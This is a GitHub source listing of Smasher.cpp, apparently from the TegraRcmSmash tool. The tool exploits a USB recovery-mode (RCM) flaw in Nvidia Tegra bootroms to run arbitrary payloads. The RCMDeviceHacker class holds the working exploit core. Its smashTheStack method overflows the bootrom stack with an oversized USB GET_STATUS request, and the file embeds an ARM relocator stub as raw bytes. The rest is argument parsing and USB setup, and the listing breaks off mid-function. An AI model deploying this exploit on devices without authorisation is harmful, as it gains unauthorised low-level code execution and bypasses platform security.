-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathSmasher.cpp
1262 lines (1100 loc) · 39.5 KB
/
Smasher.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include "Types.h"
#include "ScopeGuard.h"
#include "WinHandle.h"
#include <assert.h>
#include <tchar.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <iostream>
#include <fstream>
#include <Shlwapi.h>
#include "libusbk_int.h"
#include "iniparse.h"
class RCMDeviceHacker
{
public:
RCMDeviceHacker(KUSB_DRIVER_API& usbDriver_, KUSB_HANDLE usbHandle_) : usbHandle(usbHandle_), usbDriver(&usbDriver_), totalWritten(0), currentBuffer(0) {}
~RCMDeviceHacker()
{
if (usbHandle != nullptr)
{
usbDriver->Free(usbHandle);
usbHandle = nullptr;
}
}
static constexpr u32 PACKET_SIZE = 0x1000;
int getDriverVersion(libusbk::version_t& outVersion)
{
HANDLE masterHandle = INVALID_HANDLE_VALUE;
if (!libusbk_getInternals(usbHandle, &masterHandle) || masterHandle == nullptr || masterHandle == INVALID_HANDLE_VALUE)
return -int(ERROR_INVALID_HANDLE);
libusbk::libusb_request myRequest;
memset(&myRequest, 0, sizeof(myRequest));
const auto retVal = BlockingIoctl(masterHandle, libusbk::LIBUSB_IOCTL_GET_VERSION, &myRequest, sizeof(myRequest), &myRequest, sizeof(myRequest));
if (retVal > 0)
outVersion = myRequest.version;
return retVal;
}
int read(u8* outBuf, size_t outBufSize)
{
UINT lengthTransferred = 0;
const auto retVal = usbDriver->ReadPipe(usbHandle, 0x81, outBuf, (UINT)outBufSize, &lengthTransferred, nullptr);
if (retVal == FALSE)
return -int(GetLastError());
else
return int(lengthTransferred);
}
int write(const u8* data, size_t dataLen, size_t packetSize = PACKET_SIZE)
{
int bytesRemaining = (int)dataLen;
size_t bytesWritten = 0;
while (bytesRemaining > 0)
{
const size_t bytesToWrite = (bytesRemaining < (int)packetSize) ? bytesRemaining : (int)packetSize;
const auto retVal = writeSingleBuffer(&data[bytesWritten], bytesToWrite);
if (retVal < 0)
return retVal;
else if (retVal < (int)bytesToWrite)
return int(bytesWritten)+retVal;
bytesWritten += retVal;
bytesRemaining -= retVal;
}
return (int)bytesWritten;
}
int readDeviceId(u8* deviceIdBuf, size_t idBufSize)
{
if (idBufSize < 0x10)
return -int(ERROR_INSUFFICIENT_BUFFER);
return read(deviceIdBuf, 0x10);
}
int switchToHighBuffer()
{
if (currentBuffer == 0)
{
u8 tempZeroDatas[PACKET_SIZE];
memset(tempZeroDatas, 0, sizeof(tempZeroDatas));
const auto writeRes = write(tempZeroDatas, sizeof(tempZeroDatas));
if (writeRes < 0)
return writeRes;
assert(currentBuffer != 0);
return writeRes;
}
else
return 0;
}
int smashTheStack(int length=-1)
{
constexpr u32 STACK_END = 0x40010000;
if (length < 0)
length = STACK_END - getCurrentBufferAddress();
if (length < 1)
return 0;
HANDLE masterHandle = INVALID_HANDLE_VALUE;
if (!libusbk_getInternals(usbHandle, &masterHandle) || masterHandle == nullptr || masterHandle == INVALID_HANDLE_VALUE)
return -int(ERROR_INVALID_HANDLE);
libusbk::libusb_request rawRequest;
memset(&rawRequest, 0, sizeof(rawRequest));
rawRequest.timeout = 1000; //ms
rawRequest.status.index = 0;
rawRequest.status.recipient = 0x02; //RECIPIENT_ENDPOINT
ByteVector threshBuf(length, 0);
const auto retVal = BlockingIoctl(masterHandle, libusbk::LIBUSB_IOCTL_GET_STATUS, &rawRequest, sizeof(rawRequest), &threshBuf[0], threshBuf.size());
if (retVal < 0)
{
const auto theError = -retVal;
if (theError == ERROR_SEM_TIMEOUT) //timed out, which means it probably smashed
return (int)threshBuf.size();
return theError;
}
else
return retVal;
}
protected:
u32 getCurrentBufferAddress() const
{
return (currentBuffer == 0) ? 0x40005000u : 0x40009000u;
}
u32 toggleBuffer()
{
const auto prevBuffer = currentBuffer;
currentBuffer = (currentBuffer == 0) ? 1u : 0u;
return prevBuffer;
}
int writeSingleBuffer(const u8* data, size_t dataLen)
{
toggleBuffer();
UINT lengthTransferred = 0;
const auto retVal = usbDriver->WritePipe(usbHandle, 0x01, (u8*)data, (UINT)dataLen, &lengthTransferred, nullptr);
if (retVal == FALSE)
return -int(GetLastError());
else
return (int)lengthTransferred;
}
static int BlockingIoctl(HANDLE driverHandle, DWORD ioctlCode, const void* inputBytes, size_t numInputBytes, void* outputBytes, size_t numOutputBytes)
{
WinHandle theEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
if (theEvent.get() == nullptr || theEvent.get() == INVALID_HANDLE_VALUE)
return false;
OVERLAPPED overlapped;
memset(&overlapped, 0, sizeof(overlapped));
if (DeviceIoControl(driverHandle, ioctlCode, (LPVOID)inputBytes, (DWORD)numInputBytes, (LPVOID)outputBytes, (DWORD)numOutputBytes, nullptr, &overlapped) == FALSE)
{
const auto errCode = GetLastError();
if (errCode != ERROR_IO_PENDING)
return -int(errCode);
}
DWORD bytesReceived = 0;
if (GetOverlappedResult(driverHandle, &overlapped, &bytesReceived, TRUE) == FALSE)
{
const auto errCode = GetLastError();
return -int(errCode);
}
return (int)bytesReceived;
}
KUSB_HANDLE usbHandle;
KUSB_DRIVER_API* usbDriver;
size_t totalWritten;
u32 currentBuffer;
};
static KLST_DEVINFO pluggedInDevice;
static WinHandle gotDeviceEvent;
static u32 deviceVid = 0x0955;
static u32 devicePid = 0x7321;
static void KUSB_API HotPlugEventCallback(KHOT_HANDLE Handle, KLST_DEVINFO_HANDLE DeviceInfo, KLST_SYNC_FLAG NotificationType)
{
if (NotificationType == KLST_SYNC_FLAG_ADDED && DeviceInfo != nullptr &&
DeviceInfo->Common.Vid == deviceVid && DeviceInfo->Common.Pid == devicePid)
{
memcpy(&pluggedInDevice, DeviceInfo, sizeof(pluggedInDevice));
SetEvent(gotDeviceEvent.get());
}
}
static WinHandle finishedUpEvent;
static BOOL WINAPI ConsoleSignalHandler(DWORD signal)
{
switch (signal)
{
case CTRL_CLOSE_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
case CTRL_C_EVENT:
memset(&pluggedInDevice, 0, sizeof(pluggedInDevice));
SetEvent(gotDeviceEvent.get());
if (WaitForSingleObject(finishedUpEvent.get(), 1000) == WAIT_OBJECT_0)
finishedUpEvent = WinHandle();
else
_ftprintf(stderr, TEXT("Timed out waiting for cleanup, forcibly closing\n"));
default:
break;
}
return TRUE;
}
static int WrappedPrintToErr(const char* format, ...)
{
char tempBuf[1024];
tempBuf[0] = 0;
va_list vargs;
va_start(vargs, format);
int numPrinted = vsprintf_s(tempBuf, format, vargs);
va_end(vargs);
WinString widened(&tempBuf[0], &tempBuf[numPrinted]);
_ftprintf(stderr, widened.c_str());
return numPrinted;
}
int _tmain(int argc, TCHAR* argv[])
{
#ifdef UNICODE
fflush(stdout);
_setmode(_fileno(stdout), _O_WTEXT);
fflush(stderr);
_setmode(_fileno(stderr), _O_WTEXT);
#endif
const TCHAR DEFAULT_MEZZO_FILENAME[] = TEXT("intermezzo.bin");
const TCHAR* mezzoFilename = DEFAULT_MEZZO_FILENAME;
const TCHAR* iniFilename = nullptr;
const TCHAR* inputFilename = nullptr;
bool waitForDevice = false;
bool readbackUsb = false;
struct LoadDataItem
{
std::string name;
WinString filename;
size_t offset = 0;
size_t maxCount = 0;
size_t address = 0;
bool reloaded = false;
ByteVector dataBytes;
};
vector<LoadDataItem> loadData;
struct CopyDataItem
{
std::string name;
size_t srcaddr = 0;
size_t srclen = 0;
size_t dstaddr = 0;
size_t dstlen = 0;
u32 copyType = 0;
};
vector<CopyDataItem> copyData;
struct BootDataItem
{
std::string name;
WinString filename;
size_t pc = 0;
};
vector<BootDataItem> bootData;
auto PrintUsage = []() -> int
{
_tprintf(TEXT("Usage: TegraRcmSmash.exe [-V 0x0955] [-P 0x7321] [--relocator=intermezzo.bin] [-w] inputFilename.bin [-r] [--dataini=coreboot.ini] ([PARAM:VALUE]|[0xADDR:filename])*\n"));
return -1;
};
const TCHAR HEXA_PREFIX[] = TEXT("0x");
for (int i=1; i<argc; i++)
{
TCHAR* currArg = argv[i];
const TCHAR RELOCATOR_ARGUMENT[] = TEXT("--relocator");
const TCHAR INIFILE_ARGUMENT[] = TEXT("--dataini");
const TCHAR VENDOR_ARGUMENT[] = TEXT("-V");
const TCHAR PRODUCT_ARGUMENT[] = TEXT("-P");
const TCHAR WAIT_ARGUMENT[] = TEXT("-w");
const TCHAR READBACK_ARGUMENT[] = TEXT("-r");
if (_tcsnicmp(currArg, RELOCATOR_ARGUMENT, array_countof(RELOCATOR_ARGUMENT)-1) == 0 ||
_tcsnicmp(currArg, INIFILE_ARGUMENT, array_countof(INIFILE_ARGUMENT)-1) == 0)
{
const TCHAR* matchedStr = nullptr;
size_t matchedLen = 0;
if (_tcsnicmp(currArg, RELOCATOR_ARGUMENT, array_countof(RELOCATOR_ARGUMENT)-1) == 0)
{
matchedStr = RELOCATOR_ARGUMENT;
matchedLen = array_countof(RELOCATOR_ARGUMENT)-1;
}
else if (_tcsnicmp(currArg, INIFILE_ARGUMENT, array_countof(INIFILE_ARGUMENT)-1) == 0)
{
matchedStr = INIFILE_ARGUMENT;
matchedLen = array_countof(INIFILE_ARGUMENT)-1;
}
const TCHAR* currFilename = nullptr;
if (currArg[matchedLen] == '=')
currFilename = &currArg[matchedLen+1];
else if (currArg[matchedLen] == 0)
{
if (i==argc-1)
return PrintUsage();
currFilename = argv[++i];
}
else
return PrintUsage();
if (matchedStr == RELOCATOR_ARGUMENT)
mezzoFilename = currFilename;
else if (matchedStr == INIFILE_ARGUMENT)
iniFilename = currFilename;
}
else if (_tcsnicmp(currArg, VENDOR_ARGUMENT, array_countof(VENDOR_ARGUMENT)-1) == 0 ||
_tcsnicmp(currArg, PRODUCT_ARGUMENT, array_countof(PRODUCT_ARGUMENT)-1) == 0)
{
const TCHAR* matchedStr = nullptr;
size_t matchedLen = 0;
if (_tcsnicmp(currArg, VENDOR_ARGUMENT, array_countof(VENDOR_ARGUMENT)-1) == 0)
{
matchedStr = VENDOR_ARGUMENT;
matchedLen = array_countof(VENDOR_ARGUMENT)-1;
}
else if (_tcsnicmp(currArg, PRODUCT_ARGUMENT, array_countof(PRODUCT_ARGUMENT)-1) == 0)
{
matchedStr = PRODUCT_ARGUMENT;
matchedLen = array_countof(PRODUCT_ARGUMENT)-1;
}
const TCHAR* numberValueStr = nullptr;
if (currArg[matchedLen] == '=')
numberValueStr = &currArg[matchedLen+1];
else if (currArg[matchedLen] == 0)
{
if (i==argc-1)
return PrintUsage();
numberValueStr = argv[++i];
}
else
return PrintUsage();
if (_tcslen(numberValueStr) >= array_countof(HEXA_PREFIX) &&
_tcsnicmp(numberValueStr, HEXA_PREFIX, array_countof(HEXA_PREFIX)-1) == 0)
numberValueStr += array_countof(HEXA_PREFIX)-1;
if (matchedStr == VENDOR_ARGUMENT)
deviceVid = _tcstoul(numberValueStr, nullptr, 0x10);
else if (matchedStr == PRODUCT_ARGUMENT)
devicePid = _tcstoul(numberValueStr, nullptr, 0x10);
else
return PrintUsage();
}
else if (_tcsnicmp(currArg, WAIT_ARGUMENT, array_countof(WAIT_ARGUMENT)) == 0)
{
waitForDevice = true;
}
else if (_tcsnicmp(currArg, READBACK_ARGUMENT, array_countof(READBACK_ARGUMENT)) == 0)
{
readbackUsb = true;
}
else if (currArg[0] == '-') //unknown option
{
_ftprintf(stderr, TEXT("Unknown option %Ts\n"), currArg);
return PrintUsage();
}
else //payload/data filename
{
if (inputFilename == nullptr)
inputFilename = currArg;
else
{
auto colonPos = _tcschr(currArg, ':');
if (colonPos == nullptr)
{
_ftprintf(stderr, TEXT("No colon separator in additional data argument '%Ts'\n"), currArg);
return PrintUsage();
}
*colonPos = 0;
const size_t leftPartLen = colonPos-currArg;
const TCHAR* leftPart = currArg;
const TCHAR* rightPart = colonPos+1;
if (leftPartLen >= array_countof(HEXA_PREFIX) &&
_tcsnicmp(leftPart, HEXA_PREFIX, array_countof(HEXA_PREFIX)-1) == 0)
{
leftPart += array_countof(HEXA_PREFIX)-1;
LoadDataItem newItem;
wchar_t* endPos = nullptr;
if (sizeof(newItem.address) == sizeof(unsigned long))
newItem.address = _tcstoul(leftPart, &endPos, 0x10);
else
newItem.address = (size_t)_tcstoull(leftPart, &endPos, 0x10);
if (endPos == nullptr || endPos == leftPart)
{
_ftprintf(stderr, TEXT("Invalid load address '%Ts' in additional data argument '%Ts'\n"), leftPart, currArg);
return PrintUsage();
}
auto it = std::find_if(loadData.cbegin(), loadData.cend(), [&newItem](const LoadDataItem& itm) {
return itm.address == newItem.address;
});
if (it != loadData.cbegin())
{
_ftprintf(stderr, TEXT("Load address 0x%08llx already defined with filename '%Ts'\n"), (u64)it->address, it->filename.c_str());
return PrintUsage();
}
newItem.filename = rightPart;
loadData.emplace_back(std::move(newItem));
}
else
{
std::string convAscii; convAscii.reserve(_tcslen(leftPart));
for (size_t strPos=0; strPos<leftPartLen; strPos++)
convAscii.push_back((char)leftPart[strPos]);
if (strcmp(convAscii.c_str(), "BOOT") == 0)
{
if (bootData.size() > 0)
{
if (bootData[0].filename.length() > 0)
_ftprintf(stderr, TEXT("Load parameter %hs already defined with value '%Ts'\n"), convAscii.c_str(), bootData[0].filename.c_str());
else
_ftprintf(stderr, TEXT("Load parameter %hs already defined with value 0x%08llx\n"), convAscii.c_str(), (u64)bootData[0].pc);
return PrintUsage();
}
bootData.resize(1, BootDataItem());
if (_tcsnicmp(rightPart, HEXA_PREFIX, array_countof(HEXA_PREFIX)-1) == 0)
{
rightPart += array_countof(HEXA_PREFIX)-1;
wchar_t* endPos = nullptr;
if (sizeof(bootData[0].pc) == sizeof(unsigned long))
bootData[0].pc = _tcstoul(rightPart, &endPos, 0x10);
else
bootData[0].pc = (size_t)_tcstoull(rightPart, &endPos, 0x10);
if (endPos == nullptr || endPos == rightPart)
{
_ftprintf(stderr, TEXT("Invalid boot address '%Ts' specified\n"), rightPart);
return PrintUsage();
}
}
else
bootData[0].filename = rightPart;
}
else
{
LoadDataItem newItem;
newItem.name = std::move(convAscii);
auto it = std::find_if(loadData.cbegin(), loadData.cend(), [&newItem](const LoadDataItem& itm) {
return stricmp(itm.name.c_str(), newItem.name.c_str()) == 0;
});
if (it != loadData.cbegin())
{
_ftprintf(stderr, TEXT("Load parameter %hs already defined with value '%Ts'\n"), it->name.c_str(), it->filename.c_str());
return PrintUsage();
}
newItem.filename = rightPart;
loadData.emplace_back(std::move(newItem));
}
}
}
}
}
//print program name and version
{
TCHAR stringBuf[2048];
stringBuf[0] = 0;
const auto numChars = GetModuleFileName(NULL, stringBuf, (DWORD)array_countof(stringBuf)-1);
stringBuf[numChars] = 0;
const TCHAR* versionInfoStr = TEXT("[UNKNOWN VERSION]");
if (GetFileVersionInfo(stringBuf, 0, sizeof(stringBuf), stringBuf))
{
VS_FIXEDFILEINFO* fileInfo = nullptr;
unsigned int infoLen = 0;
if (VerQueryValue(stringBuf, TEXT("\\"), (LPVOID*)&fileInfo, &infoLen) && fileInfo != nullptr && infoLen > 0)
{
const u32 outMajor = HIWORD(fileInfo->dwFileVersionMS);
const u32 outMinor = LOWORD(fileInfo->dwFileVersionMS);
const u32 outRev = HIWORD(fileInfo->dwFileVersionLS);
const u32 outBld = LOWORD(fileInfo->dwFileVersionLS);
_stprintf_s(stringBuf, TEXT("%u.%u.%u-%u"), outMajor, outMinor, outRev, outBld);
versionInfoStr = stringBuf;
}
}
const TCHAR* bitnessStr = nullptr;
#if !_WIN64
bitnessStr = TEXT("32bit");
#else
bitnessStr = TEXT("64bit");
#endif
_tprintf(TEXT("TegraRcmSmash (%Ts) %Ts by rajkosto\n"), bitnessStr, versionInfoStr);
}
//check all arguments
if (deviceVid == 0 || deviceVid >= 0xFFFF)
{
_ftprintf(stderr, TEXT("Invalid USB VID specified\n"));
return PrintUsage();
}
if (devicePid == 0 || devicePid >= 0xFFFF)
{
_ftprintf(stderr, TEXT("Invalid USB PID specified\n"));
return PrintUsage();
}
if (inputFilename == nullptr || _tcslen(inputFilename) == 0)
{
_ftprintf(stderr, TEXT("Please specify input filename\n"));
return PrintUsage();
}
auto ReadFileToBuf = [](ByteVector& outBuf, const TCHAR* fileType, const TCHAR* inputFilename, size_t offset, size_t maxSize, bool silent) -> int
{
std::ifstream inputFile(inputFilename, std::ios::binary);
if (!inputFile.is_open())
{
if (!silent)
_ftprintf(stderr, TEXT("Couldn't open %Ts file '%Ts' for reading\n"), fileType, inputFilename);
return -2;
}
inputFile.seekg(0, std::ios::end);
const auto inputSize = (size_t)inputFile.tellg();
inputFile.seekg(offset, std::ios::beg);
if (inputSize > offset)
outBuf.resize(inputSize-offset);
else
outBuf.resize(0);
if (maxSize != 0 && maxSize < outBuf.size())
outBuf.resize(maxSize);
if (outBuf.size() > 0)
{
inputFile.read((char*)&outBuf[0], outBuf.size());
const auto bytesRead = inputFile.gcount();
if (bytesRead < (std::streamsize)outBuf.size())
{
_ftprintf(stderr, TEXT("Error reading %Ts file '%Ts' (only %llu out of %llu bytes read)\n"), fileType, inputFilename, (u64)bytesRead, (u64)outBuf.size());
return -2;
}
}
return 0;
};
if (iniFilename != nullptr)
{
ByteVector iniBuf;
auto iniReadRes = ReadFileToBuf(iniBuf, TEXT("ini"), iniFilename, 0, 0, false);
if (iniReadRes)
return iniReadRes;
if (iniBuf.size() > 0)
{
auto parsedInfo = parse_memloader_ini((char*)&iniBuf[0], (int)iniBuf.size(), malloc, WrappedPrintToErr);
auto infoGuard = MakeScopeGuard([&parsedInfo]() { free_memloader_info(&parsedInfo, free); });
if (parsedInfo.loads != nullptr)
{
WinString fileBaseDir;
{
TCHAR absDirPath[2048];
absDirPath[0] = 0;
TCHAR* filePart = nullptr;
size_t pathLen = GetFullPathName(iniFilename, (unsigned int)array_countof(absDirPath)-1, absDirPath, &filePart);
if (filePart != nullptr)
{
*filePart = 0;
pathLen = filePart-absDirPath;
}
fileBaseDir = WinString(absDirPath, pathLen);
}
for (auto currLoadNode = parsedInfo.loads; currLoadNode != nullptr; currLoadNode=currLoadNode->next)
{
const auto& currLoad = currLoadNode->curr;
LoadDataItem newItem;
newItem.name = currLoad.sectname;
newItem.offset = currLoad.skip;
newItem.maxCount = currLoad.count;
newItem.address = currLoad.dst;
if (sizeof(TCHAR) == sizeof(char))
newItem.filename = WinString(currLoad.filename, currLoad.filename+strlen(currLoad.filename));
else
{
TCHAR convFilename[2048];
convFilename[0] = 0;
const auto numChars = MultiByteToWideChar(CP_UTF8, 0, currLoad.filename, -1, convFilename, (int)array_countof(convFilename)-1);
if (numChars > 0)
newItem.filename = WinString(convFilename, numChars-1);
}
//make it absolute
if (fileBaseDir.length() > 1)
{
wchar_t wideFilename[2048];
wideFilename[0] = 0;
const wchar_t* combinedPath = PathCombine(wideFilename, fileBaseDir.c_str(), newItem.filename.c_str());
newItem.filename = combinedPath;
}
loadData.emplace_back(std::move(newItem));
}
}
for (auto currBootNode = parsedInfo.copies; currBootNode != nullptr; currBootNode=currBootNode->next)
{
const auto& currCopy = currBootNode->curr;
CopyDataItem newItem;
newItem.name = currCopy.sectname;
newItem.copyType = currCopy.compType;
newItem.srcaddr = currCopy.src;
newItem.srclen = currCopy.srclen;
newItem.dstaddr = currCopy.dst;
newItem.dstlen = currCopy.dstlen;
copyData.emplace_back(std::move(newItem));
}
for (auto currBootNode = parsedInfo.boots; currBootNode != nullptr; currBootNode=currBootNode->next)
{
const auto& currBoot = currBootNode->curr;
BootDataItem newItem;
newItem.name = currBoot.sectname;
newItem.pc = currBoot.pc;
bootData.emplace_back(std::move(newItem));
}
}
}
std::sort(loadData.begin(), loadData.end(), [](const LoadDataItem& left, const LoadDataItem& right)
{
if (left.name.length() != 0 && right.name.length() == 0) //named go first
return true;
if (left.name.length() == 0 && right.name.length() != 0)
return false;
if (left.address != 0 && right.address != 0)
return left.address < right.address;
else
return (strcmp(left.name.c_str(), right.name.c_str()) < 0);
});
//load file contents
for (auto& currData : loadData)
{
auto readFileRes = ReadFileToBuf(currData.dataBytes, TEXT("data"), currData.filename.c_str(), currData.offset, currData.maxCount, false);
if (readFileRes != 0)
return readFileRes;
}
//populate address for BOOT if necessary
for (auto& currBoot : bootData)
{
if (currBoot.filename.length() == 0)
continue;
bool foundAddress = false;
for (const auto& otherData : loadData)
{
if (otherData.name.length() == 0 && _tcsicmp(currBoot.filename.c_str(), otherData.filename.c_str()) == 0)
{
currBoot.pc = otherData.address;
foundAddress = true;
break;
}
}
if (!foundAddress)
{
_ftprintf(stderr, TEXT("No load address defined for filename '%Ts' (required for setting BOOT)\n"), currBoot.filename.c_str());
return -1;
}
}
//intentional ptr comparison, if user supplied their own filename always read it
auto usingBuiltinMezzo = (mezzoFilename == DEFAULT_MEZZO_FILENAME);
bool usingNoMezzo = false;
if (mezzoFilename == nullptr || _tcslen(mezzoFilename) == 0)
{
usingBuiltinMezzo = true;
usingNoMezzo = true;
}
ByteVector mezzoBuf;
if (!usingNoMezzo)
{
auto readFileRes = ReadFileToBuf(mezzoBuf, TEXT("relocator"), mezzoFilename, 0, 0, usingBuiltinMezzo);
if (readFileRes != 0)
{
if (usingBuiltinMezzo)
{
const byte BUILTIN_INTERMEZZO[] =
{
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
};
mezzoBuf.resize(sizeof(BUILTIN_INTERMEZZO));
memcpy(&mezzoBuf[0], BUILTIN_INTERMEZZO, mezzoBuf.size());
}
else
return readFileRes;
}
else
usingBuiltinMezzo = false;
}
ByteVector userFileBuf;
auto readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, 0, 0, false);
if (readFileRes != 0)
return readFileRes;
KLST_DEVINFO_HANDLE deviceInfo = nullptr;
KLST_HANDLE deviceList = nullptr;
if (!LstK_Init(&deviceList, KLST_FLAG_NONE))
{
const auto errorCode = GetLastError();
_ftprintf(stderr, TEXT("Got win32 error %u trying to list USB devices\n"), errorCode);
return -3;
}
auto lstKgrd = MakeScopeGuard([&deviceList]()
{
if (deviceList != nullptr)
{
LstK_Free(deviceList);
deviceList = nullptr;
}
});
// Get the number of devices contained in the device list.
UINT deviceCount = 0;
LstK_Count(deviceList, &deviceCount);
if (deviceCount == 0 || LstK_FindByVidPid(deviceList, deviceVid, devicePid, &deviceInfo) == FALSE)
{
if (!waitForDevice)
{
_ftprintf(stderr, TEXT("No TegraRCM devices found and -w option not specified\n"));
return -3;
}
_tprintf(TEXT("Wanted device not connected yet, waiting...\n"));
lstKgrd.run();
KHOT_HANDLE hotHandle = nullptr;
KHOT_PARAMS hotParams;
memset(&hotParams, 0, sizeof(hotParams));
hotParams.OnHotPlug = HotPlugEventCallback;
hotParams.Flags = KHOT_FLAG_NONE;
memset(&pluggedInDevice, 0, sizeof(pluggedInDevice));
gotDeviceEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
finishedUpEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
sprintf_s(hotParams.PatternMatch.DeviceID, "*VID_%04X&PID_%04X*", deviceVid, devicePid);
_tprintf(TEXT("Looking for devices matching the pattern %s\n"),
WinString(std::begin(hotParams.PatternMatch.DeviceID), std::end(hotParams.PatternMatch.DeviceID)).c_str());
// Initializes a new HotK handle.
if (!HotK_Init(&hotHandle, &hotParams))
{
const auto errorCode = GetLastError();
_ftprintf(stderr,TEXT("Hotplug listener init failed with win32 error %u\n"), errorCode);
return -4;
}
auto hotKgrd = MakeScopeGuard([&hotHandle]()
{
if (hotHandle != nullptr)
{
HotK_Free(hotHandle);
hotHandle = nullptr;
}
});
if (SetConsoleCtrlHandler(ConsoleSignalHandler, TRUE))
WaitForSingleObject(gotDeviceEvent.get(), INFINITE);
gotDeviceEvent = WinHandle();
if (pluggedInDevice.Common.Vid == deviceVid && pluggedInDevice.Common.Pid == devicePid && pluggedInDevice.Connected == TRUE) //got the device after waiting
{
finishedUpEvent = WinHandle();
deviceInfo = &pluggedInDevice;
SetConsoleCtrlHandler(ConsoleSignalHandler, FALSE);
}
else
{
_tprintf(TEXT("Exiting due to user cancellation\n"));
SetEvent(finishedUpEvent.get());
return -5;
}
}
if (deviceInfo != nullptr)
{
if (deviceInfo->DriverID != KUSB_DRVID_LIBUSBK)
{
_tprintf(TEXT("The selected device path %hs with VID_%04X&PID_%04x isn't using the libusbK driver\n"),
deviceInfo->DevicePath, deviceInfo->Common.Vid, deviceInfo->Common.Pid);
_tprintf(TEXT("Please run Zadig and install the libusbK (v3.0.7.0) driver for this device\n"));
_ftprintf(stderr,TEXT("Failed to open USB device handle because of wrong driver installed\n"));
return -6;
}
KUSB_DRIVER_API Usb;
LibK_LoadDriverAPI(&Usb, deviceInfo->DriverID);
// Initialize the device
KUSB_HANDLE handle = nullptr;
if (!Usb.Init(&handle, deviceInfo))
{
const auto errorCode = GetLastError();
